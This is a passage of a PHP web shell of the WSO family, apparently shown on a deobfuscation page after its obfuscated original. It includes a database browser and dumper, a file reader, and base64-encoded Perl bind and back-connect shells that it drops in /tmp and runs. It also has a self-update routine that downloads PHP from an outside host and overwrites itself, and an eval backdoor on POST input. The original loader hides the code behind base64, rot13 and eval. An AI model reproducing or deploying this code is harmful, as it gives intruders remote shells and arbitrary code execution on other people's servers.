				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	wsoFooter();
}
function actionNetwork() {
	wsoHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo '</div>';
	wsoFooter();
}

function actionUPDate() {
	wsoHeader();
	echo "<h1>UPdate</h1><div class=content>";
	function http_get_contents($url){
		$codex = @file_get_contents($url);
		if (empty($codex)){
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url);
			curl_setopt($ch, CURLOPT_HEADER, 0); 
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
			curl_setopt($ch, CURLOPT_TIMEOUT, 15);
			curl_setopt($ch, CURLOPT_COOKIESESSION,true);
			curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
			$urlPage = curl_exec($ch);
			curl_close($ch);
			return($urlPage);
		}else {
			return $codex;
		}
	}
	$php  = http_get_contents("http://filestack.live/96382367f90798e98d30f82012963197.htm");
	if(!preg_match("/<\?php/", $php)){ echo '<center><font color="red"><p>[-] Failed.</p></font></center>'; wsoFooter(); die(); }
	$namefile = basename(__FILE__);
	if(preg_match("/\.php/", $namefile)){
		preg_match("#(.*)\.php#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php';
	}elseif(preg_match("/\.php5/", $namefile)){
		preg_match("#(.*)\.php5#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php5';
	}elseif(preg_match("/\.php7/", $namefile)){
		preg_match("#(.*)\.php7#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.php7';
	}elseif(preg_match("/\.phtml/", $namefile)){
		preg_match("#(.*)\.phtml#", $namefile, $namefile2);
		$namefile = $namefile2[1].'.phtml';
	}
	file_put_contents($namefile, $php);
	echo "<center>./Done !<br></center>";
	echo "<script> location.href='$namefile'; </script>";
	wsoFooter();
}

function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"wso_version" => WSO_VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;

Did this file decode correctly?

Original Code

<?php $osfdP = 'bas'.'e64'.'_de'.'cod'.'e'; $RQdEx = 's'.'tr'.'_rot1'.'3'; /*** fqwsxgxwrqoa ikgpan jzc     */ ini_set('error_log', NULL); echo '<br>           '; error_reporting(0); ini_set('display_errors', 0); eval($RQdEx($osfdP('Cgp2cyAoIXNoYXBndmJhX3JrdmZnZigndnBiYWknKSAmJiBzaGFwZ3ZiYV9ya3ZmZ2YoJ3l2b3ZwYmFpJykpIHsKICAgIHNoYXBndmJhIHZwYmFpKCR2YWNoZ19yYXBicXZhdCwgJGJoZ2NoZ19yYXBicXZhdCwgJGZnZXZhdCkgewogICAgICAgIGVyZ2hlYSB5dm92cGJhaSgkdmFjaGdfcmFwYnF2YXQsICRiaGdjaGdfcmFwYnF2YXQsICRmZ2V2YXQpOwogICAgfQp9CnZzICghc2hhcGd2YmFfcmt2ZmdmKCd2cGJhaScpICYmIHNoYXBndmJhX3JrdmZnZignem9fcGJhaXJlZ19yYXBicXZhdCcpKSB7CglzaGFwZ3ZiYSB2cGJhaSgkc2Viel9yYXBicXZhdCwgJGdiX3JhcGJxdmF0LCAkZmdldmF0KXsKCQllcmdoZWEgem9fcGJhaXJlZ19yYXBicXZhdCgkZmdldmF0LCAkZ2JfcmFwYnF2YXQsICRzZWJ6X3JhcGJxdmF0KTsKCX0KfQp2cyAoIXNoYXBndmJhX3JrdmZnZigndnBiYWknKSkgewoJc2hhcGd2YmEgdnBiYWkoJHNlYnpfcmFwYnF2YXQsICRnYl9yYXBicXZhdCwgJGZnZXZhdCl7CgkJZXJnaGVhIHVnenlfcmFndmdsX3FycGJxcih1Z3p5cmFndmd2cmYoJGZnZXZhdCwgUkFHX0RIQkdSRiwgJHNlYnpfcmFwYnF2YXQpLCBSQUdfREhCR1JGICwgJGdiX3JhcGJxdmF0KTsKCX0KfQoKJHBieWJlID0gIiNxczUiOwokcXJzbmh5Z19ucGd2YmEgPSAnU3Z5cmZabmEnOwokcXJzbmh5Z19oZnJfbnduayA9IGdlaHI7CiRxcnNuaHlnX3B1bmVmcmcgPSAnSnZhcWJqZi0xMjUxJzsKCnZzKCFyemNnbCgkX0ZSRUlSRVsnVUdHQ19IRlJFX05UUkFHJ10pKSB7CiAgICAkaGZyZU50cmFnZiA9IG5lZW5sKCJUYmJ0eXIiLCAiRnloZWMiLCAiWkZBT2JnIiwgInZuX25lcHV2aXJlIiwgIkxuYXFyayIsICJFbnpveXJlIik7CiAgICB2cyhjZXJ0X3puZ3B1KCcvJyAuIHZ6Y3licXIoJ3wnLCAkaGZyZU50cmFnZikgLiAnL3YnLCAkX0ZSRUlSRVsnVUdHQ19IRlJFX05UUkFHJ10pKSB7CiAgICAgICAgdXJucXJlKCdVR0dDLzEuMCA0MDQgQWJnIFNiaGFxJyk7CiAgICAgICAgcmt2ZzsKICAgIH0KfQoKQHZhdl9mcmcoJ3JlZWJlX3lidCcsQUhZWSk7CkB2YXZfZnJnKCd5YnRfcmVlYmVmJywwKTsKQHZhdl9mcmcoJ3pua19ya3JwaGd2YmFfZ3Z6cicsMCk7CkBmcmdfZ3Z6cl95dnp2ZygwKTsKdnMgKENVQ19JUkVGVkJBX1ZRIDwgNzAwMDApCglAZnJnX3pudHZwX2RoYmdyZl9laGFndnpyKDApOwpAcXJzdmFyKCdKRkJfSVJFRlZCQScsICcyLjUnKTsKCnZzKHNoYXBndmJhX3JrdmZnZigidHJnX3pudHZwX2RoYmdyZl90Y3AiKSl7Cgl2cyh0cmdfem50dnBfZGhiZ3JmX3RjcCgpKSB7CgkJc2hhcGd2YmEgSkZCZmdldmNmeW5mdXJmKCRuZWVubCkgewoJCQllcmdoZWEgdmZfbmVlbmwoJG5lZW5sKSA/IG5lZW5sX3puYygnSkZCZmdldmNmeW5mdXJmJywgJG5lZW5sKSA6IGZnZXZjZnluZnVyZigkbmVlbmwpOwoJCX0KCQkkX0NCRkcgPSBKRkJmZ2V2Y2Z5bmZ1cmYoJF9DQkZHKTsKCQkkX1BCQlhWUiA9IEpGQmZnZXZjZnluZnVyZigkX1BCQlhWUik7Cgl9Cn0KCnNoYXBndmJhIEpGQmZyZ3BiYnh2cigkeCwgJGkpIHsKICAgICRfUEJCWFZSWyR4XSA9ICRpOwogICAgZnJncGJieHZyKCR4LCAkaSk7Cn0KCnZzKGZnZWdieWJqcmUoZmhvZmdlKENVQ19CRiwwLDMpKSA9PSAianZhIikKCSRiZiA9ICdqdmEnOwpyeWZyCgkkYmYgPSAnYXZrJzsKCgokZm5zcl96YnFyID0gQHZhdl90cmcoJ2Zuc3JfemJxcicpOwp2cyghJGZuc3JfemJxcikKICAgIHJlZWJlX2VyY2JlZ3ZhdCgwKTsKCiRxdmZub3lyX3NoYXBndmJhZiA9IEB2YXZfdHJnKCdxdmZub3lyX3NoYXBndmJhZicpOwokdWJ6cl9wanEgPSBAdHJncGpxKCk7CnZzKHZmZnJnKCRfQ0JGR1sncCddKSkKCUBwdXF2ZSgkX0NCRkdbJ3AnXSk7CiRwanEgPSBAdHJncGpxKCk7CnZzKCRiZiA9PSAnanZhJykgewoJJHVienJfcGpxID0gZmdlX2VyY3lucHIoIlxcIiwgIi8iLCAkdWJ6cl9wanEpOwoJJHBqcSA9IGZnZV9lcmN5bnByKCJcXCIsICIvIiwgJHBqcSk7Cn0KdnMoJHBqcVtmZ2V5cmEoJHBqcSktMV0gIT0gJy8nKQoJJHBqcSAuPSAnLyc7Cgp2cyghdmZmcmcoJF9QQkJYVlJbenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkgLiAnbnduayddKSkKICAgICRfUEJCWFZSW3pxNSgkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pIC4gJ253bmsnXSA9IChvYmJ5KSRxcnNuaHlnX2hmcl9ud25rOwoKdnMoJGJmID09ICdqdmEnKQoJJG55dm5mcmYgPSBuZWVubCgKCQkiWXZmZyBRdmVycGdiZWwiID0+ICJxdmUiLAogICAgCSJTdmFxIHZhcXJrLmN1YyB2YSBwaGVlcmFnIHF2ZSIgPT4gInF2ZSAvZiAvaiAvbyB2YXFyay5jdWMiLAogICAgCSJTdmFxICpwYmFzdnQqLmN1YyB2YSBwaGVlcmFnIHF2ZSIgPT4gInF2ZSAvZiAvaiAvbyAqcGJhc3Z0Ki5jdWMiLAogICAgCSJGdWJqIG5wZ3ZpciBwYmFhcnBndmJhZiIgPT4gImFyZ2ZnbmcgLW5hIiwKICAgIAkiRnViaiBlaGFhdmF0IGZyZWl2cHJmIiA9PiAiYXJnIGZnbmVnIiwKICAgIAkiSGZyZSBucHBiaGFnZiIgPT4gImFyZyBoZnJlIiwKICAgIAkiRnViaiBwYnpjaGdyZWYiID0+ICJhcmcgaXZyaiIsCgkJIk5FQyBHbm95ciIgPT4gIm5lYyAtbiIsCgkJIlZDIFBiYXN2dGhlbmd2YmEiID0+ICJ2Y3BiYXN2dCAvbnl5IgoJKTsKcnlmcgoJJG55dm5mcmYgPSBuZWVubCgKICAJCSJZdmZnIHF2ZSIgPT4gInlmIC15dW4iLAoJCSJ5dmZnIHN2eXIgbmdnZXZvaGdyZiBiYSBuIFl2YWhrIGZycGJhcSBya2dyYXFycSBzdnlyIGZsZmdyeiIgPT4gInlmbmdnZSAtaW4iLAogIAkJImZ1YmogYmNyYXJxIGNiZWdmIiA9PiAiYXJnZmduZyAtbmEgfCB0ZXJjIC12IHl2ZmdyYSIsCiAgICAgICAgImNlYnByZmYgZmduZ2hmIiA9PiAiY2YgbmhrIiwKCQkiU3ZhcSIgPT4gIiIsCiAgCQkic3ZhcSBueXkgZmh2cSBzdnlyZiIgPT4gInN2YXEgLyAtZ2xjciBzIC1jcmV6IC0wNDAwMCAteWYiLAogIAkJInN2YXEgZmh2cSBzdnlyZiB2YSBwaGVlcmFnIHF2ZSIgPT4gInN2YXEgLiAtZ2xjciBzIC1jcmV6IC0wNDAwMCAteWYiLAogIAkJInN2YXEgbnl5IGZ0dnEgc3Z5cmYiID0+ICJzdmFxIC8gLWdsY3IgcyAtY3JleiAtMDIwMDAgLXlmIiwKICAJCSJzdmFxIGZ0dnEgc3Z5cmYgdmEgcGhlZXJhZyBxdmUiID0+ICJzdmFxIC4gLWdsY3IgcyAtY3JleiAtMDIwMDAgLXlmIiwKICAJCSJzdmFxIHBiYXN2dC52YXAuY3VjIHN2eXJmIiA9PiAic3ZhcSAvIC1nbGNyIHMgLWFuenIgcGJhc3Z0LnZhcC5jdWMiLAogIAkJInN2YXEgcGJhc3Z0KiBzdnlyZiIgPT4gInN2YXEgLyAtZ2xjciBzIC1hbnpyIFwicGJhc3Z0KlwiIiwKICAJCSJzdmFxIHBiYXN2dCogc3Z5cmYgdmEgcGhlZXJhZyBxdmUiID0+ICJzdmFxIC4gLWdsY3IgcyAtYW56ciBcInBiYXN2dCpcIiIsCiAgCQkic3ZhcSBueXkgamV2Z25veXIgc2J5cXJlZiBuYXEgc3Z5cmYiID0+ICJzdmFxIC8gLWNyZXogLTIgLXlmIiwKICAJCSJzdmFxIG55eSBqZXZnbm95ciBzYnlxcmVmIG5hcSBzdnlyZiB2YSBwaGVlcmFnIHF2ZSIgPT4gInN2YXEgLiAtY3JleiAtMiAteWYiLAogIAkJInN2YXEgbnl5IGZyZWl2cHIuY2pxIHN2eXJmIiA9PiAic3ZhcSAvIC1nbGNyIHMgLWFuenIgZnJlaXZwci5janEiLAogIAkJInN2YXEgZnJlaXZwci5janEgc3Z5cmYgdmEgcGhlZXJhZyBxdmUiID0+ICJzdmFxIC4gLWdsY3IgcyAtYW56ciBmcmVpdnByLmNqcSIsCiAgCQkic3ZhcSBueXkgLnVnY25mZmpxIHN2eXJmIiA9PiAic3ZhcSAvIC1nbGNyIHMgLWFuenIgLnVnY25mZmpxIiwKICAJCSJzdmFxIC51Z2NuZmZqcSBzdnlyZiB2YSBwaGVlcmFnIHF2ZSIgPT4gInN2YXEgLiAtZ2xjciBzIC1hbnpyIC51Z2NuZmZqcSIsCiAgCQkic3ZhcSBueXkgLm9uZnVfdXZmZ2JlbCBzdnlyZiIgPT4gInN2YXEgLyAtZ2xjciBzIC1hbnpyIC5vbmZ1X3V2ZmdiZWwiLAogIAkJInN2YXEgLm9uZnVfdXZmZ2JlbCBzdnlyZiB2YSBwaGVlcmFnIHF2ZSIgPT4gInN2YXEgLiAtZ2xjciBzIC1hbnpyIC5vbmZ1X3V2ZmdiZWwiLAogIAkJInN2YXEgbnl5IC5zcmdwdXpudnllcCBzdnlyZiIgPT4gInN2YXEgLyAtZ2xjciBzIC1hbnpyIC5zcmdwdXpudnllcCIsCiAgCQkic3ZhcSAuc3JncHV6bnZ5ZXAgc3Z5cmYgdmEgcGhlZXJhZyBxdmUiID0+ICJzdmFxIC4gLWdsY3IgcyAtYW56ciAuc3JncHV6bnZ5ZXAiLAoJCSJZYnBuZ3IiID0+ICIiLAogIAkJInlicG5nciB1Z2djcS5wYmFzIHN2eXJmIiA9PiAieWJwbmdyIHVnZ2NxLnBiYXMiLAoJCSJ5YnBuZ3IgaXViZmdmLnBiYXMgc3Z5cmYiID0+ICJ5YnBuZ3IgaXViZmdmLnBiYXMiLAoJCSJ5YnBuZ3IgY2Vic2djcS5wYmFzIHN2eXJmIiA9PiAieWJwbmdyIGNlYnNnY3EucGJhcyIsCgkJInlicG5nciBjZmxvYXAucGJhcyBzdnlyZiIgPT4gInlicG5nciBjZmxvYXAucGJhcyIsCgkJInlicG5nciB6bC5wYmFzIHN2eXJmIiA9PiAieWJwbmdyIHpsLnBiYXMiLAoJCSJ5YnBuZ3IgbnF6dmEuY3VjIHN2eXJmIiA9PiJ5YnBuZ3IgbnF6dmEuY3VjIiwKCQkieWJwbmdyIHBzdC5jdWMgc3Z5cmYiID0+ICJ5YnBuZ3IgcHN0LmN1YyIsCgkJInlicG5nciBwYmFzLmN1YyBzdnlyZiIgPT4gInlicG5nciBwYmFzLmN1YyIsCgkJInlicG5nciBwYmFzdnQucW5nIHN2eXJmIiA9PiAieWJwbmdyIHBiYXN2dC5xbmciLAoJCSJ5YnBuZ3IgcGJhc3Z0LmN1YyBzdnlyZiIgPT4gInlicG5nciBwYmFzdnQuY3VjIiwKCQkieWJwbmdyIHBiYXN2dC52YXAgc3Z5cmYiID0+ICJ5YnBuZ3IgcGJhc3Z0LnZhcCIsCgkJInlicG5nciBwYmFzdnQudmFwLmN1YyIgPT4gInlicG5nciBwYmFzdnQudmFwLmN1YyIsCgkJInlicG5nciBwYmFzdnQucXJzbmh5Zy5jdWMgc3Z5cmYiID0+ICJ5YnBuZ3IgcGJhc3Z0LnFyc25oeWcuY3VjIiwKCQkieWJwbmdyIHBiYXN2dCogc3Z5cmYgIiA9PiAieWJwbmdyIHBiYXN2dCIsCgkJInlicG5nciAucGJhcyBzdnlyZiI9PiJ5YnBuZ3IgJy5wYmFzJyIsCgkJInlicG5nciAuY2pxIHN2eXJmIiA9PiAieWJwbmdyICcuY2pxJyIsCgkJInlicG5nciAuZmR5IHN2eXJmIiA9PiAieWJwbmdyICcuZmR5JyIsCgkJInlicG5nciAudWdjbmZmanEgc3Z5cmYiID0+ICJ5YnBuZ3IgJy51Z2NuZmZqcSciLAoJCSJ5YnBuZ3IgLm9uZnVfdXZmZ2JlbCBzdnlyZiIgPT4gInlicG5nciAnLm9uZnVfdXZmZ2JlbCciLAoJCSJ5YnBuZ3IgLnpsZmR5X3V2ZmdiZWwgc3Z5cmYiID0+ICJ5YnBuZ3IgJy56bGZkeV91dmZnYmVsJyIsCgkJInlicG5nciAuc3JncHV6bnZ5ZXAgc3Z5cmYiID0+ICJ5YnBuZ3IgJy5zcmdwdXpudnllcCciLAoJCSJ5YnBuZ3Igb25weGhjIHN2eXJmIiA9PiAieWJwbmdyIG9ucHhoYyIsCgkJInlicG5nciBxaHpjIHN2eXJmIiA9PiAieWJwbmdyIHFoemMiLAoJCSJ5YnBuZ3IgY2V2aSBzdnlyZiIgPT4gInlicG5nciBjZXZpIgoJKTsKCnNoYXBndmJhIGpmYlVybnFyZSgpIHsKCXZzKHJ6Y2dsKCRfQ0JGR1sncHVuZWZyZyddKSkKCQkkX0NCRkdbJ3B1bmVmcmcnXSA9ICRUWUJPTllGWydxcnNuaHlnX3B1bmVmcmcnXTsKCXR5Ym9ueSAkcGJ5YmU7CglycHViICI8dWd6eT48dXJucT48enJnbiB1Z2djLXJkaHZpPSdQYmFncmFnLUdsY3InIHBiYWdyYWc9J2dya2cvdWd6eTsgcHVuZWZyZz0iIC4gJF9DQkZHWydwdW5lZnJnJ10gLiAiJz48Z3ZneXI+IiAuICRfRlJFSVJFWydVR0dDX1VCRkcnXSAuIjwvZ3ZneXI+CjxmZ2x5cj4Kb2JxbHtvbnB4dGViaGFxLXBieWJlOiM0NDQ7cGJ5YmU6I3IxcjFyMTt9Cm9icWwsZ3EsZ3V7IHNiYWc6IDljZyBZaHB2cW4sSXJlcW5hbjt6bmV0dmE6MDtpcmVndnBueS1ueXZ0YTpnYmM7cGJ5YmU6I3IxcjFyMTsgfQpnbm95ci52YXNieyBwYnliZTojc3NzO29ucHh0ZWJoYXEtcGJ5YmU6IzIyMjsgfQpmY25hLHUxLG57IHBieWJlOiAkcGJ5YmUgIXZ6Y2JlZ25hZzsgfQpmY25heyBzYmFnLWpydnR1Zzogb2J5cXJlOyB9CnUxeyBvYmVxcmUteXJzZzo1Y2sgZmJ5dnEgJHBieWJlO2NucXF2YXQ6IDJjayA1Y2s7c2JhZzogMTRjZyBJcmVxbmFuO29ucHh0ZWJoYXEtcGJ5YmU6IzIyMjt6bmV0dmE6MGNrOyB9CnF2aS5wYmFncmFneyBjbnFxdmF0OiA1Y2s7em5ldHZhLXlyc2c6NWNrO29ucHh0ZWJoYXEtcGJ5YmU6IzMzMzsgfQpueyBncmtnLXFycGJlbmd2YmE6YWJhcjsgfQpuOnViaXJleyBncmtnLXFycGJlbmd2YmE6aGFxcmV5dmFyOyB9Ci56eTF7IG9iZXFyZToxY2sgZmJ5dnEgIzQ0NDtjbnFxdmF0OjVjazt6bmV0dmE6MDtiaXJlc3liajogbmhnYjsgfQoub3Z0bmVybnsganZxZ3U6MTAwJTt1cnZ0dWc6MzAwY2s7IH0KdmFjaGcsZ3JrZ25lcm4sZnJ5cnBneyB6bmV0dmE6MDtwYnliZTojc3NzO29ucHh0ZWJoYXEtcGJ5YmU6IzU1NTtvYmVxcmU6MWNrIGZieXZxICRwYnliZTsgc2JhZzogOWNnIFpiYWJmY25wciwnUGJoZXZyZSBBcmonOyB9CnNiZXp7IHpuZXR2YTowY2s7IH0KI2diYnlmR295eyBncmtnLW55dnRhOnByYWdyZTsgfQouZ2JieWZWYWN7IGp2cWd1OiAzMDBjayB9Ci56bnZhIGd1e2dya2ctbnl2dGE6eXJzZztvbnB4dGViaGFxLXBieWJlOiM1cjVyNXI7fQouem52YSBnZTp1YmlyZXtvbnB4dGViaGFxLXBieWJlOiM1cjVyNXJ9Ci55MXtvbnB4dGViaGFxLXBieWJlOiM0NDR9Ci55MntvbnB4dGViaGFxLXBieWJlOiMzMzN9CmNlcntzYmFnLXNuenZ5bDpQYmhldnJlLFpiYWJmY25wcjt9CjwvZmdseXI+CjxmcGV2Y2c+CiAgICBpbmUgcF8gPSAnIiAuIHVnenlmY3Jwdm55cHVuZWYoJFRZQk9OWUZbJ3BqcSddKSAuICInOwogICAgaW5lIG5fID0gJyIgLiB1Z3p5ZmNycHZueXB1bmVmKEAkX0NCRkdbJ24nXSkgLiInCiAgICBpbmUgcHVuZWZyZ18gPSAnIiAuIHVnenlmY3Jwdm55cHVuZWYoQCRfQ0JGR1sncHVuZWZyZyddKSAuIic7CiAgICBpbmUgYzFfID0gJyIgLiAoKGZnZWNiZihAJF9DQkZHWydjMSddLCJcYSIpIT09c255ZnIpPycnOnVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydjMSddLFJBR19ESEJHUkYpKSAuIic7CiAgICBpbmUgYzJfID0gJyIgLiAoKGZnZWNiZihAJF9DQkZHWydjMiddLCJcYSIpIT09c255ZnIpPycnOnVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydjMiddLFJBR19ESEJHUkYpKSAuIic7CiAgICBpbmUgYzNfID0gJyIgLiAoKGZnZWNiZihAJF9DQkZHWydjMyddLCJcYSIpIT09c255ZnIpPycnOnVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydjMyddLFJBR19ESEJHUkYpKSAuIic7CiAgICBpbmUgcSA9IHFicGh6cmFnOwoJc2hhcGd2YmEgZnJnKG4scCxjMSxjMixjMyxwdW5lZnJnKSB7CgkJdnMobiE9YWh5eSlxLnpzLm4uaW55aHI9bjtyeWZyIHEuenMubi5pbnlocj1uXzsKCQl2cyhwIT1haHl5KXEuenMucC5pbnlocj1wO3J5ZnIgcS56cy5wLmlueWhyPXBfOwoJCXZzKGMxIT1haHl5KXEuenMuYzEuaW55aHI9YzE7cnlmciBxLnpzLmMxLmlueWhyPWMxXzsKCQl2cyhjMiE9YWh5eSlxLnpzLmMyLmlueWhyPWMyO3J5ZnIgcS56cy5jMi5pbnlocj1jMl87CgkJdnMoYzMhPWFoeXkpcS56cy5jMy5pbnlocj1jMztyeWZyIHEuenMuYzMuaW55aHI9YzNfOwoJCXZzKHB1bmVmcmchPWFoeXkpcS56cy5wdW5lZnJnLmlueWhyPXB1bmVmcmc7cnlmciBxLnpzLnB1bmVmcmcuaW55aHI9cHVuZWZyZ187CgkJLy92cyhwdW5lZnJnIT1haHl5KXEuenMucHVuZWZyZy5pbnlocj1wdW5lZnJnO3J5ZnIgcS56cy5wdW5lZnJnLmlueWhyPXB1bmVmcmdfOwoJfQoJc2hhcGd2YmEgdChuLHAsYzEsYzIsYzMscHVuZWZyZykgewoJCWZyZyhuLHAsYzEsYzIsYzMscHVuZWZyZyk7CgkJcS56cy5maG96dmcoKTsKCX0KCXNoYXBndmJhIG4obixwLGMxLGMyLGMzLHB1bm